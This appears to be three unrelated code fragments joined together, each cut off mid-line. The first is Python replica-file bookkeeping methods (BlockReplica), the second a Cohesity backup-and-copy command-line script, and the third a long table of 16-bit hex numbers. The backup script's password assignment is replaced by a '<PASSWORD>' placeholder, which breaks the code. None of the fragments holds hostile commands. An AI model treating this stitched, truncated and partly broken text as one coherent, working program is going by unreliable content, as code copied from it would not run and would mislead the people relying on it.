if not BlockReplica._use_file_ids:
raise NotImplementedError('BlockReplica.files')
block_files = self.block.files
if self.file_ids is None:
return set(block_files)
else:
by_id = dict((f.id, f) for f in block_files if f.id != 0)
result = set()
for fid in self.file_ids:
try:
fid += 0
except TypeError:
# fid is lfn
result.add(self._block.find_file(fid))
else:
result.add(by_id[fid])
return result
def has_file(self, lfile):
if lfile.block is not self.block:
return False
if self.file_ids is None:
return True
if lfile.id == 0:
for f in self.files():
if f.lfn == lfile.lfn:
return True
return False
else:
return lfile.id in self.file_ids
def add_file(self, lfile):
if lfile.block != self.block:
raise ObjectError('Cannot add file %s (block %s) to %s', lfile.lfn, lfile.block.full_name(), str(self))
if BlockReplica._use_file_ids:
if self.file_ids is None:
# This was a full replica. A new file was added to the block. The replica remains full.
return
else:
file_ids = set(self.file_ids)
if lfile.id == 0:
if lfile.lfn in file_ids:
return
if lfile.lfn in set(f.lfn for f in self.files()):
return
file_ids.add(lfile.lfn)
else:
if lfile.id in file_ids:
return
file_ids.add(lfile.id)
self.size += lfile.size
if self.size == self.block.size and len(file_ids) == self.block.num_files:
self.file_ids = None
else:
self.file_ids = tuple(file_ids)
else:
self.file_ids += 1
def delete_file(self, lfile, full_deletion = False):
"""
Delete a file from the replica.
@param lfile A File object
@param full_deletion Set to True if the file is being deleted from the block as well.
@return True if the file is in the replica.
"""
if lfile.block != self.block:
raise ObjectError('Cannot delete file %s (block %s) from %s', lfile.lfn, lfile.block.full_name(), str(self))
if BlockReplica._use_file_ids:
if lfile.id == 0:
identifier = lfile.lfn
else:
identifier = lfile.id
if self.file_ids is None:
if full_deletion:
# file is being deleted from the block as well. Full replica remains full.
self.size -= lfile.size
return True
else:
file_ids = [(f.id if f.id != 0 else | |
#!/usr/bin/env python
"""Backup Now and Copy for python"""
# version 2022.03.11
### usage: ./backupNow.py -v mycluster -u admin -j 'Generic NAS' [-r mycluster2] [-a S3] [-kr 5] [-ka 10] [-e] [-w] [-t kLog]
### import pyhesity wrapper module
from pyhesity import *
from time import sleep
from datetime import datetime
import codecs
### command line arguments
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-v', '--vip', type=str, required=True)
parser.add_argument('-v2', '--vip2', type=str, default=None)
parser.add_argument('-u', '--username', type=str, default='helios')
parser.add_argument('-d', '--domain', type=str, default='local')
parser.add_argument('-i', '--useApiKey', action='store_true')
parser.add_argument('-p', '--password', type=str, default=None)
parser.add_argument('-j', '--jobName', type=str, required=True)
parser.add_argument('-j2', '--jobName2', type=str, default=None)
parser.add_argument('-y', '--usepolicy', action='store_true')
parser.add_argument('-l', '--localonly', action='store_true')
parser.add_argument('-nr', '--noreplica', action='store_true')
parser.add_argument('-na', '--noarchive', action='store_true')
parser.add_argument('-k', '--keepLocalFor', type=int, default=None)
parser.add_argument('-r', '--replicateTo', type=str, default=None)
parser.add_argument('-kr', '--keepReplicaFor', type=int, default=None)
parser.add_argument('-a', '--archiveTo', type=str, default=None)
parser.add_argument('-ka', '--keepArchiveFor', type=int, default=None)
parser.add_argument('-e', '--enable', action='store_true')
parser.add_argument('-w', '--wait', action='store_true')
parser.add_argument('-t', '--backupType', type=str, choices=['kLog', 'kRegular', 'kFull'], default='kRegular')
parser.add_argument('-o', '--objectname', action='append', type=str)
parser.add_argument('-m', '--metadatafile', type=str, default=None)
parser.add_argument('-x', '--abortifrunning', action='store_true')
parser.add_argument('-f', '--logfile', type=str, default=None)
parser.add_argument('-n', '--waitminutesifrunning', type=int, default=60)
parser.add_argument('-cp', '--cancelpreviousrunminutes', type=int, default=0)
parser.add_argument('-nrt', '--newruntimeoutsecs', type=int, default=180)
parser.add_argument('-debug', '--debug', action='store_true')
args = parser.parse_args()
vip = args.vip
vip2 = args.vip2
username = args.username
domain = args.domain
password = <PASSWORD>
jobName = args.jobName
jobName2 = args.jobName2
keepLocalFor = args.keepLocalFor
replicateTo = args.replicateTo
keepReplicaFor = args.keepReplicaFor
archiveTo = args.archiveTo
keepArchiveFor = args.keepArchiveFor
enable = args.enable
wait = args.wait
backupType = args.backupType
objectnames = args.objectname
useApiKey = args.useApiKey
usepolicy = args.usepolicy
localonly = args.localonly
noreplica = args.noreplica
noarchive = args.noarchive
metadatafile = args.metadatafile
abortIfRunning = args.abortifrunning
logfile = args.logfile
waitminutesifrunning = args.waitminutesifrunning
cancelpreviousrunminutes = args.cancelpreviousrunminutes
newruntimeoutsecs = args.newruntimeoutsecs
debugger = args.debug
if enable is True:
wait = True
if logfile is not None:
try:
log = codecs.open(logfile, 'w', 'utf-8')
log.write('%s: Script started\n\n' % datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
log.write('Command line parameters:\n\n')
for arg, value in sorted(vars(args).items()):
log.write(" %s: %s\n" % (arg, value))
log.write('\n')
except Exception:
print('Unable to open log file %s' % logfile)
exit(1)
def out(message):
print(message)
if logfile is not None:
log.write('%s\n' % message)
def bail(code=0):
if logfile is not None:
log.close()
exit(code)
### authenticate
apiauth(vip=vip, username=username, domain=domain, password=password, useApiKey=useApiKey)
if apiconnected() is False and vip2 is not None:
out('\nFailed to connect to %s. Trying %s...' % (vip, vip2))
apiauth(vip=vip2, username=username, domain=domain, password=password, useApiKey=useApiKey)
if jobName2 is not None:
jobName = jobName2
if apiconnected() is False:
out('\nFailed to connect to Cohesity cluster')
bail(1)
sources = {}
cluster = api('get', 'cluster')
### get object ID
def getObjectId(objectName):
d = {'_object_id': None}
def get_nodes(node):
if 'name' in node:
if node['name'].lower() == objectName.lower():
d['_object_id'] = node['id']
exit
if 'protectionSource' in node:
if node['protectionSource']['name'].lower() == objectName.lower():
d['_object_id'] = node['protectionSource']['id']
exit
if 'nodes' in node:
for node in node['nodes']:
if d['_object_id'] is None:
get_nodes(node)
else:
exit
for source in sources:
if d['_object_id'] is None:
get_nodes(source)
return d['_object_id']
def cancelRunningJob(job, durationMinutes):
if durationMinutes > 0:
durationUsecs = durationMinutes * 60000000
nowUsecs = dateToUsecs(datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
cancelTime = nowUsecs - durationUsecs
runningRuns = api('get', 'protectionRuns?jobId=%s&numRuns=10&excludeTasks=true' % job['id'])
if runningRuns is not None and len(runningRuns) > 0:
for run in runningRuns:
if 'backupRun' in run and 'status' in run['backupRun']:
if run['backupRun']['status'] not in finishedStates and 'stats' in run['backupRun'] and 'startTimeUsecs' in run['backupRun']['stats']:
if run['backupRun']['stats']['startTimeUsecs'] < cancelTime:
result = api('post', 'protectionRuns/cancel/%s' % job['id'], {"jobRunId": run['backupRun']['jobRunId']})
out('Canceling previous job run')
### find protectionJob
job = [job for job in api('get', 'protectionJobs') if job['name'].lower() == jobName.lower()]
if not job:
out("Job '%s' not found" % jobName)
bail(1)
else:
job = job[0]
environment = job['environment']
if environment == 'kPhysicalFiles':
environment = 'kPhysical'
if environment not in ['kOracle', 'kSQL'] and backupType == 'kLog':
out('BackupType kLog not applicable to %s jobs' % environment)
bail(1)
if objectnames is not None:
if environment in ['kOracle', 'kSQL']:
backupJob = api('get', '/backupjobs/%s' % job['id'])
backupSources = api('get', '/backupsources?allUnderHierarchy=false&entityId=%s&excludeTypes=5&includeVMFolders=true' % backupJob[0]['backupJob']['parentSource']['id'])
if 'kAWS' in environment:
sources = api('get', 'protectionSources?environments=kAWS')
else:
sources = api('get', 'protectionSources?environments=%s' % environment)
# handle run now objects
sourceIds = []
selectedSources = []
runNowParameters = []
if objectnames is not None:
for objectname in objectnames:
if environment == 'kSQL' or environment == 'kOracle':
parts = objectname.split('/')
if environment == 'kSQL':
if len(parts) == 3:
(server, instance, db) = parts
elif len(parts) == 2:
(server, instance) = parts
db = None
else:
server = parts[0]
instance = None
db = None
else:
if len(parts) == 2:
(server, instance) = parts
else:
server = parts[0]
instance = None
db = None
serverObjectId = getObjectId(server)
if serverObjectId is not None:
if serverObjectId not in job['sourceIds']:
out("%s not protected by %s" % (server, jobName))
bail(1)
if len([obj for obj in runNowParameters if obj['sourceId'] == serverObjectId]) == 0:
runNowParameters.append(
{
"sourceId": serverObjectId
}
)
selectedSources.append(serverObjectId)
if instance is not None or db is not None:
if environment == 'kOracle' or (environment == 'kSQL' and job['environmentParameters']['sqlParameters']['backupType'] in ['kSqlVSSFile', 'kSqlNative']):
for runNowParameter in runNowParameters:
if runNowParameter['sourceId'] == serverObjectId:
if 'databaseIds' not in runNowParameter:
runNowParameter['databaseIds'] = []
if 'backupSourceParams' in backupJob[0]['backupJob']:
backupJobSourceParams = [p for p in backupJob[0]['backupJob']['backupSourceParams'] if p['sourceId'] == serverObjectId]
if backupJobSourceParams is not None and len(backupJobSourceParams) > 0:
backupJobSourceParams = backupJobSourceParams[0]
else:
backupJobSourceParams = None
else:
backupJobSourceParams = None
serverSource = [c for c in backupSources['entityHierarchy']['children'] if c['entity']['id'] == serverObjectId][0]
if environment == 'kSQL':
instanceSource = [i for i in serverSource['auxChildren'] if i['entity']['displayName'].lower() == instance.lower()][0]
if db is None:
dbSource = [c for c in instanceSource['children']]
else:
dbSource = [c for c in instanceSource['children'] if c['entity']['displayName'].lower() == '%s/%s' % (instance.lower(), db.lower())]
if dbSource is not None and len(dbSource) > 0:
for db in dbSource:
if backupJobSourceParams is None or db['entity']['id'] in backupJobSourceParams['appEntityIdVec']:
runNowParameter['databaseIds'].append(db['entity']['id'])
else:
out('%s not protected by %s' % (objectname, jobName))
bail(1)
else:
dbSource = [c for c in serverSource['auxChildren'] if c['entity']['displayName'].lower() == instance.lower()]
if dbSource is not None and len(dbSource) > 0:
for db in dbSource:
if backupJobSourceParams is None or db['entity']['id'] in backupJobSourceParams['appEntityIdVec']:
runNowParameter['databaseIds'].append(db['entity']['id'])
else:
out('%s not protected by %s' % (objectname, jobName))
bail(1)
else:
out("Job is Volume based. Can not selectively backup instances/databases")
bail(1)
else:
out('Object %s not found (server name)' % server)
bail(1)
else:
sourceId = getObjectId(objectname)
if sourceId is not None:
sourceIds.append(sourceId)
selectedSources.append(sourceId)
else:
out('Object %s not found!' % objectname)
bail(1)
finishedStates = ['kCanceled', 'kSuccess', 'kFailure', 'kWarning', 'kCanceling', '3', '4', '5', '6']
if len(selectedSources) > 0:
runs = api('get', 'protectionRuns?jobId=%s&numRuns=2&excludeTasks=true&sourceId=%s' % (job['id'], selectedSources[0]))
if runs is None or len(runs) == 0:
runs = api('get', 'protectionRuns?jobId=%s&excludeTasks=true&numRuns=10' % job['id'])
else:
runs = api('get', 'protectionRuns?jobId=%s&excludeTasks=true&numRuns=10' % job['id'])
if len(runs) > 0:
newRunId = lastRunId = runs[0]['backupRun']['jobRunId']
else:
newRunId = lastRunId = 1
# job parameters (base)
jobData = {
"copyRunTargets": [
{
"type": "kLocal",
"daysToKeep": keepLocalFor
}
],
"sourceIds": [],
"runType": backupType
}
# add objects (non-DB)
if sourceIds is not None:
if metadatafile is not None:
jobData['runNowParameters'] = []
for sourceId in sourceIds:
jobData['runNowParameters'].append({"sourceId": sourceId, "physicalParams": {"metadataFilePath": metadatafile}})
else:
jobData['sourceIds'] = sourceIds
# add objects (DB)
if len(runNowParameters) > 0:
jobData['runNowParameters'] = runNowParameters
# use base retention and copy targets from policy
policy = api('get', 'protectionPolicies/%s' % job['policyId'])
if keepLocalFor is None:
jobData['copyRunTargets'][0]['daysToKeep'] = policy['daysToKeep']
# replication
if localonly is not True and noreplica is not True:
if 'snapshotReplicationCopyPolicies' in policy and replicateTo is None:
for replica in policy['snapshotReplicationCopyPolicies']:
if replica['target'] not in [p.get('replicationTarget', None) for p in jobData['copyRunTargets']]:
if keepReplicaFor is not None:
replica['daysToKeep'] = keepReplicaFor
jobData['copyRunTargets'].append({
"daysToKeep": replica['daysToKeep'],
"replicationTarget": replica['target'],
"type": "kRemote"
})
# archival
if localonly is not True and noarchive is not True:
if 'snapshotArchivalCopyPolicies' in policy and archiveTo is None:
for archive in policy['snapshotArchivalCopyPolicies']:
if archive['target'] not in [p.get('archivalTarget', None) for p in jobData['copyRunTargets']]:
if keepArchiveFor is not None:
archive['daysToKeep'] = keepArchiveFor
jobData['copyRunTargets'].append({
"archivalTarget": archive['target'],
"daysToKeep": archive['daysToKeep'],
"type": "kArchival"
})
# use copy targets specified at the command line
if replicateTo is not None:
if keepReplicaFor is None:
out("--keepReplicaFor is required")
bail(1)
remote = [remote for remote in api('get', 'remoteClusters') if remote['name'].lower() == replicateTo.lower()]
if len(remote) > 0:
remote = remote[0]
jobData['copyRunTargets'].append({
"type": "kRemote",
"daysToKeep": keepReplicaFor,
"replicationTarget": {
"clusterId": remote['clusterId'],
"clusterName": remote['name']
}
})
else:
out("Remote Cluster %s not found!" % replicateTo)
bail(1)
if archiveTo is not None:
if keepArchiveFor is None:
out("--keepArchiveFor is required")
bail(1)
vault = [vault for vault in api('get', 'vaults') if vault['name'].lower() == archiveTo.lower()]
if len(vault) > 0:
vault = vault[0]
jobData['copyRunTargets'].append({
"archivalTarget": {
"vaultId": vault['id'],
"vaultName": vault['name'],
"vaultType": "kCloud"
},
"daysToKeep": keepArchiveFor,
"type": "kArchival"
})
else:
out("Archive target %s not found!" % archiveTo)
bail(1)
### enable the job
if enable and cluster['clusterSoftwareVersion'] > '6.5':
enabled = api('post', 'protectionJobState/%s' % job['id'], {'pause': False})
### run protectionJob
now = datetime.now()
nowUsecs = dateToUsecs(now.strftime("%Y-%m-%d %H:%M:%S"))
waitUntil = nowUsecs + (waitminutesifrunning * 60000000)
reportWaiting = True
if debugger:
print(':DEBUG: waiting for new run to be accepted')
runNow = api('post', "protectionJobs/run/%s" % job['id'], | |
0xbf24, 0xbd97, 0x3f35,
0xbf35, 0xbe23, 0xbef6, 0xbf3d, 0x3efd, 0xbd15, 0xbe84, 0x3f0c, 0x3f30, 0x3f27,
0xbec4, 0xbe3e, 0x3d44, 0xbf2a, 0x3f0f, 0xbe9a, 0x3f37, 0x3f04, 0xbf14, 0x3e8b,
0x3eb3, 0xbe93, 0x3dcd, 0xbfbd, 0x3f0c, 0x3c13, 0x3e8b, 0xbe5b, 0x3e6e, 0x3ef3,
0x3f0f, 0xbe88, 0xbe61, 0xbefa, 0xbdb8, 0xbf7b, 0x3fa9, 0xbeaf, 0x3f68, 0xbec9,
0x3f3e, 0xbea1, 0x3fcf, 0xbe0d, 0xbf22, 0xc003, 0x3f60, 0x3e5b, 0x3f54, 0xbf93,
0x3f08, 0xbe68, 0x3fbb, 0x3d8e, 0x3e52, 0xbf68, 0xbf2b, 0x3e47, 0xbbcf, 0xbf27,
0xbdb0, 0xbe07, 0x3fcb, 0xbb47, 0xbd9d, 0xbd5f, 0xbf53, 0x3cb3, 0xbe5b, 0xbe5e,
0xbc34, 0xba8d, 0x3f1b, 0xbc6b, 0xbe30, 0xbe36, 0xbe20, 0xbd6c, 0xbc6f, 0xbb4b,
0xb783, 0xb568, 0xb844, 0xbbcb, 0xb988, 0x3d02, 0xb9bd, 0xb8df, 0xb9da, 0xbcc6,
0xb790, 0xb6ea, 0xbd7f, 0x3d83, 0xbd29, 0xbb33, 0xb706, 0x3d8f, 0xba27, 0xbcda,
0xbbc6, 0x3c08, 0xbd25, 0x3d19, 0xbdf6, 0xbbf0, 0xb76a, 0x3ec2, 0xbb0e, 0xbe7e,
0xbecb, 0x3e03, 0xbeff, 0x3e4c, 0xbd14, 0x3e39, 0xbd8f, 0x3ee3, 0x3cf1, 0x3ca7,
0xbe63, 0x3e4f, 0xbf6f, 0xbeb9, 0x3f92, 0x3e88, 0xbf1f, 0x3edb, 0xbf11, 0x3f2b,
0x3eb8, 0xbe14, 0xbfa0, 0xbf55, 0x3f5f, 0xbd28, 0x3e61, 0x3ec1, 0x3eeb, 0xbcaa,
0x3c07, 0xbe84, 0xbdc1, 0xbf4a, 0x3ea0, 0xbddc, 0x3ebb, 0xbe90, 0x3e23, 0x3f2e,
0x3f73, 0xbee8, 0x3f25, 0xbefe, 0x3f28, 0xbd4c, 0xbe49, 0xbc7a, 0xbf91, 0x3dbc,
0x3e01, 0x3e70, 0xbe3e, 0xbdec, 0x3ebb, 0x3ddd, 0x3e20, 0xbd47, 0xbf06, 0xbdeb,
0x3f0d, 0xbe85, 0xbe80, 0xbe04, 0x3e56, 0x3e55, 0x3f28, 0xbedc, 0xbf19, 0x3d35,
0xbf18, 0xbf58, 0x3e86, 0xbdc7, 0x3e72, 0x3ee8, 0x3f0e, 0xbe24, 0x3def, 0x3d9c,
0x3e45, 0xbf5b, 0x3e46, 0xbedd, 0x3ec5, 0xbce6, 0x3f51, 0xbf3c, 0x3edd, 0x3d09,
0x3f3b, 0x3dac, 0xbe3e, 0x3e9b, 0x3f1a, 0x3d8b, 0x3d48, 0xbfd5, 0x3e88, 0xbe7f,
0xbdf1, 0x3dfa, 0x3e51, 0xbe30, 0xbec8, 0xbdb8, 0xbd57, 0xbed4, 0x3f22, 0x3e8e,
0xbfa3, 0x3f42, 0x3df2, 0x3e7d, 0x3e8a, 0x3cbb, 0xbedc, 0xbe60, 0x3e8e, 0x3e69,
0xbf20, 0x3f34, 0xbec9, 0x3da7, 0x3dd3, 0xbe31, 0x3cf7, 0xbe3f, 0x3e46, 0x3e89,
0xbfb1, 0x3e8d, 0x3c8b, 0xbdd5, 0x3f08, 0xbedc, 0x3f10, 0x3e4e, 0xbde0, 0x3ede,
0x3dac, 0xbcb7, 0xbf12, 0x3dcc, 0x3f27, 0xbf09, 0xbf57, 0x3f04, 0x3e2b, 0x3ee8,
0xbd6e, 0xbf83, 0x3f01, 0x3d15, 0x3e30, 0xbeab, 0x3cb1, 0x3f26, 0xbe92, 0x3ea3,
0xbe90, 0xbf27, 0xbe6a, 0xbeec, 0x3f3b, 0xbf1d, 0x3db1, 0x3fb1, 0x3d87, 0xbcfc,
0x3e99, 0xbe8f, 0x3ec3, 0xbf25, 0x3eaf, 0x3e21, 0xbede, 0x3ed9, 0xbeee, 0x3e62,
0x3f1d, 0xbea8, 0xbe9d, 0x3e88, 0xbd9a, 0xbe33, 0x3e85, 0xbebf, 0x3d8c, 0x3d54,
0x3e28, 0xbe42, 0xbd3f, 0xbeb6, 0x3e64, 0x3ed2, 0x3eb1, 0x3eac, 0xbf6b, 0x3cf6,
0x3f05, 0xbdf6, 0x3f05, 0xbe4d, 0xbe68, 0x3f0a, 0x3eb5, 0x3f2c, 0xbf83, 0xbf84,
0x3f74, 0xbd60, 0x3ebc, 0x3e2e, 0xbf08, 0x3eb1, 0x3f38, 0xbe3f, 0xbf0c, 0xbf9e,
0x3ee3, 0xbdb7, 0x3f7a, 0xbd73, 0xbd79, 0xbf8e, 0x3e14, 0xbee3, 0x3f07, 0xbeaa,
0xbd08, 0xbc63, 0x3f92, 0xbd35, 0xbebf, 0xbdfa, 0xbefd, 0xbd02, 0x3c08, 0xbd12,
0xb9f9, 0xb85b, 0x3d66, 0xbc25, 0xbc9a, 0xbbb3, 0xbc99, 0xba34, 0xbaf2, 0xb83a,
0xb6b7, 0xb49b, 0xb781, 0xbb05, 0xb8bb, 0x3c26, 0xb8f7, 0x39a2, 0xb911, 0xbc04,
0xb702, 0xb4c4, 0xbe06, 0x3e0a, 0xb58d, 0xbb37, 0xb407, 0xb564, 0xbaa3, 0xb637,
0xbbac, 0x3d4d, 0xbd9f, 0x3e0e, 0x3dd6, 0xbcad, 0xb9af, 0x3d5c, 0xbb22, 0xbe75,
0xbee3, 0x3c6e, 0x3d4b, 0x3ceb, 0x3e72, 0xbdc3, 0xbe3c, 0x3e9d, 0x3bd6, 0x3da2,
0x3ed5, 0x3c0e, 0x3eb5, 0x3dc3, 0x3f06, 0xba0f, 0xbf89, 0xbce8, 0xbee6, 0x3e1b,
0x3f19, 0xbe9d, 0x3f8c, 0xbd35, 0x3e96, 0xbf00, 0xbed3, 0xbdc6, 0xbf37, 0x3db6,
0xbf31, 0xbee1, 0x3f10, 0x3ec7, 0x3f01, 0x3d00, 0x3e37, 0xbe31, 0xbf02, 0x3e1a,
0x3f28, 0xbe00, 0xbf10, 0xbeee, 0x3f12, 0xbe84, 0x3eef, 0xbe7e, 0xbe3d, 0x3e19,
0x3eaa, 0x3e2d, 0xbe16, 0xbedf, 0x3e97, 0x3d53, 0x3e9d, 0xbf09, 0xbe70, 0x3e47,
0x3ed5, 0xbf09, 0x3e5d, 0xbf19, 0x3f00, 0x3ede, 0x3ba2, 0xbf16, 0x3e29, 0xbc68,
0x3f42, 0xbf40, 0x3c42, 0xbed0, 0x3f0b, 0xbdb9, 0x3e11, 0xbaa1, 0xbeae, 0x3e0c,
0xbe08, 0x3d3c, 0xbd28, 0xbdca, 0x3f08, 0x3daa, 0x3e65, 0xbf20, 0xbdf7, 0x3e08,
0xbdff, 0x3f2d, 0xbdc6, 0x3e4a, 0x3dd6, 0x3e50, 0x3ef2, 0xbf99, 0x3dd9, 0xbeae,
0xbf44, 0x3f09, 0x3e72, 0xbe3f, 0xbedc, 0xbb46, 0x3eb6, 0xbe1a, 0x3ecf, 0x3bb1,
0xbfb2, 0x3f78, 0x3e24, 0x3eac, 0x3e1b, 0xbec9, 0x3efb, 0xbf1c, 0x3f31, 0xbecf,
0xbf2b, 0xbe3c, 0x3dec, 0x3e16, 0x3e3e, 0xbec4, 0xbe47, 0x3f0f, 0xbd92, 0x3efd,
0xbf1d, 0x3f4b, 0x3ce9, 0x3d88, 0x3f2b, 0xbd46, 0xbe43, 0xbf44, 0xbddc, 0x3e2c,
0xbefc, 0xbf48, 0xbeda, 0xbc5a, 0x3f36, 0xbed2, 0x3df5, 0x3f89, 0xbecf, 0x3f20,
0x3db3, 0xbf5f, 0xbe9d, 0xbe8d, 0x3d98, 0x3f4f, 0xbdd2, 0x3f1e, 0xbcb6, 0xbc16,
0xbbb2, 0xbf82, 0x3e3f, 0x3db4, 0x3eed, 0x3e11, 0xbd95, 0xbcde, 0x3bc8, 0x3e6f,
0x3ecc, 0xbf3a, 0xbf21, 0x3f61, 0xbec4, 0xbe38, 0x3df0, 0x3f20, 0xbe1a, 0x3d4d,
0xbd48, 0xbea5, 0xbd93, 0x3ed1, 0xbec9, 0x3da8, 0x3eb4, 0x3ea5, 0xbde1, 0xbe5f,
0xba3c, 0xbe96, 0xbf57, 0x3e89, 0x3f5b, 0xbf23, 0xbe97, 0x3f6d, 0x3e0b, 0xbdfe,
0x3ede, 0xbe37, 0xbeec, 0x3f52, 0xbdab, 0x3e07, 0x3d05, 0x3ee7, 0xbf19, 0xbf0d,
0x3f7d, 0xbda6, 0x3f8d, 0x3f0e, 0xbfb6, 0x3f8f, 0x3eab, 0xbed3, 0xbf82, 0xbf95,
0x3e13, 0xbd8b, 0x3f74, 0xbe90, 0xbe89, 0xbeda, 0x3f55, 0xbf62, 0x3ecd, 0xbed0,
0xbd5a, 0xbcd9, 0x3f81, 0xbd1d, 0x3e83, 0xbe3b, 0xbf0b, 0xbe63, 0xbd32, 0xbe21,
0xbbac, 0xbb50, 0x3e62, 0xba68, 0xbd24, 0xbdc4, 0xbd6e, 0xba8b, 0xbb82, 0xbc46,
0xb604, 0xb31c, 0xb28f, 0xb669, 0xb7ce, 0xbab0, 0xb1f9, 0x3b01, 0xb720, 0xba1a,
0xb8a8, 0x390a, 0xbd81, 0x3d8f, 0xb56e, 0xbac5, 0xb60c, 0xbb04, 0xbb31, 0xba31,
0xbc87, 0x3d1a, 0xbcdf, 0x3e96, 0xbc54, 0xbde4, 0xbaff, 0xbd2a, 0xbc12, 0xbde0,
0xbe83, 0xbaab, 0x3f86, 0x3e23, 0xbe57, 0xbccc, 0xbe89, 0xbeb3, 0x3d47, 0xbe15,
0x3f16, 0xbc6f, 0x3f45, 0x3f77, 0xbf5c, 0xbc1e, 0xbf66, 0xbe92, 0xbef2, 0x3e62,
0x3f33, 0xbe91, 0xbd48, 0x3f0f, 0xbeb4, 0x3ca8, 0x3ebc, 0xbec7, 0xbf3a, 0x3e1c,
0x3ee6, 0xbf0f, 0x3f1d, 0xbe9e, 0xba89, 0xbdde, 0x3f0e, 0xbe18, 0xbdf9, 0xbebd,
0xbcea, 0xbe74, 0x3e97, 0xbee9, 0x3efa, 0xbf71, 0x3f14, 0x3f07, 0x3d8b, 0xbe94,
0x3f13, 0xbdcc, 0xbece, 0xbf5c, 0x3f06, 0xbe95, 0x3eac, 0xbdff, 0xbd14, 0x3ec2,
0x3ed6, 0x3e98, 0x3e9e, 0x3e2f, 0x3de5, 0xbf5a, 0x3ef3, 0xbe72, 0xbd96, 0xbf1f,
0x3e0e, 0xbe8b, 0x3e3c, 0xbdd1, 0xbe86, 0x3da1, 0x3e74, 0xbf1b, 0x3ef2, 0x3e02,
0x3e4e, 0xbdfa, 0x3ea1, 0xbc82, 0xbe17, 0xbe38, 0x3fa5, 0xbfbc, 0xbb9e, 0x3e0c,
0xbeca, 0xbf19, 0x3ea2, 0xbd64, 0x3e4d, 0x3b7f, 0xbe56, 0x3d1a, 0x3f5e, 0xbe2a,
0xbfb9, 0x3eee, 0x3f29, 0x3f40, 0xbe2e, 0xbe15, 0xbdee, 0x3e20, 0x3db6, 0xbe78,
0xbf0a, 0x3f70, 0x3e88, 0x3b48, 0x3f09, 0xbf0f, 0x3e06, 0xbf77, 0x3dde, 0x3da6,
0xbe38, 0xbf04, 0xbea7, 0xbdf0, 0x3f34, 0xbd46, 0x3df1, 0x3ea5, 0x3cbd, 0x3c91,
0xbeea, 0x3ebe, 0x3e2d, 0xbf3f, 0x3f01, 0xbecc, 0x3dfc, 0xbc2b, 0x3e70, 0x3e5b,
0x3e2c, 0xbfcd, 0x3f6c, 0xbe17, 0x3ec1, 0xbe0e, 0xbef9, 0x3ef0, 0x3e0d, 0x3e98,
0xbc23, 0xbf62, 0xbc8e, 0x3f29, 0x3dd9, 0xbeec, 0x3e26, 0x3dfc, 0x3b96, 0x3ea2,
0x3c32, 0xbf42, 0x3cab, 0x3f03, 0x3e26, 0x3df5, 0x3eda, 0x3f29, 0xbf6b, 0xbe76,
0x3eac, 0xbe9d, 0xbeaf, 0x3e4d, 0x3f3a, 0x3eac, 0xbe99, 0x3e88, 0xbf65, 0xbca0,
0x3e81, 0xbe1a, 0x3f65, 0xbdac, 0x3eb7, 0xbe5a, 0x3e55, 0x3ef7, 0xbf83, 0xbf39,
0x3e46, 0xbeb0, 0x3f05, 0x3d8a, 0xbe91, 0x3f34, 0xbe2e, 0xbed6, 0xbf25, 0x3ec1,
0xbdd4, 0xbec2, 0x3f3e, 0x3f3e, 0xbe27, 0x3e86, 0xbeef, 0xbe9d, 0x3ee0, 0xbf44,
0x3df9, 0x3d81, 0x3f2b, 0x3fa2, 0xbf2e, 0xbc9f, 0x3ec8, 0xbedf, 0xbea4, 0xbf87,
0xbe62, 0xbe52, 0x4006, 0xbeda, 0xbd08, 0xbecb, 0x3f17, 0xbf45, 0xbe4b, 0xbee0,
0xbe01, 0xbdbb, 0x3fd7, 0xbd08, 0xbe84, 0xbeac, 0xbecd, 0xbe45, 0xbe34, 0xbd90,
0x3bab, 0xbc28, 0x3eba, 0xbb0d, 0xbc9a, 0xbe22, 0xbe20, 0xbc80, 0xbbcc, 0xba8c,
0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,
0xb7c8, 0x3ab4, 0xbcde, 0x3cf0, 0xb5e5, 0xba93, 0xb72a, 0xb8db, 0xbad3, 0xba2d,
0xbdbb, 0x39ea, 0x3e53, 0x3e2d, 0x3dcc, 0xbe35, 0xbb6e, 0xbbc3, 0xbbe6, 0xbe43,
0xbe08, 0xbb8c, 0x3f45, 0x3f3f, 0xbf4b, 0x3e56, 0xbe47, 0xbe87, 0xbd92, 0xbe88,
0x3e91, 0xbcf2, 0x3edc, 0x3f76, 0xbe90, 0x3e7d, 0xbf6e, 0x3d88, 0xbe40, 0xbf0f,
0x3eff, 0xbf03, 0x3ea4, 0xbca6, 0xbeca, 0x3ed4, 0x3e8e, 0x3db5, 0xbec3, 0xbe96,
0x3f0a, 0xbf3f, 0x3ed6, 0x3cba, 0xbe42, 0x3f70, 0x3d1b, 0xbe99, 0xbe01, 0xbf17,
0x3f04, 0xbed8, 0x3e7a, 0x3e40, 0x3e0d, 0xbea6, 0xbe28, 0xbf0d, 0x3df2, 0x3e85,
0xbe8f, 0xbe22, 0x3e0c, 0xbea4, 0x3eb4, 0xbe92, 0x3efc, 0xbebc, 0x3d95, 0x3eb7,
0x3ecb, 0xbec8, 0x3e14, 0xbf6b, 0x3e39, 0xbe41, 0x3f02, 0xbe23, 0x3f28, 0xbe6d,
0x3f22, 0x3e43, 0x3f36, 0xbf59, 0x3e2e, 0xbf1a, 0x3f69, 0xbf92, 0xbe91, 0x3e85,
0xbc57, 0xbe2c, 0x3e8e, 0xbf05, 0x3df2, 0xbebd, 0x3f68, 0xbe22, 0x3ecf, 0xbef4,
0x3df1, 0x3ead, 0x3ec9, 0xbe8d, 0xbea4, 0xbf48, 0xbd5f, 0x3c3f, 0x3e97, 0x3e8c,
0xbf71, 0x3f35, 0x3f11, 0xbeaf, 0x3dfc, 0xbf34, 0x3e43, 0x3bdb, 0x3e9d, 0x3daa,
0xbf20, 0x3f47, 0xbc0d, 0xbef8, 0x3f11, 0xbecd, 0x3e7d, 0x3e76, 0x3d86, 0xbec1,
0xbf14, 0x3e6d, 0x3ec1, 0xbf2e, 0x3ee8, 0xbdaf, 0x3b15, 0x3e75, 0xbeeb, 0x3f00,
0xbe3e, 0xbe82, 0x3e24, 0x3d2a, 0x3e9d, 0xbd48, 0xbe3b, 0xbe94, 0x3ee3, 0x3c13,
0x3eeb, 0xbfa5, 0xbf0f, 0x3f0f, 0x3e95, 0x3ecf, 0x3e59, 0xbd84, 0xbe33, 0x3e23,
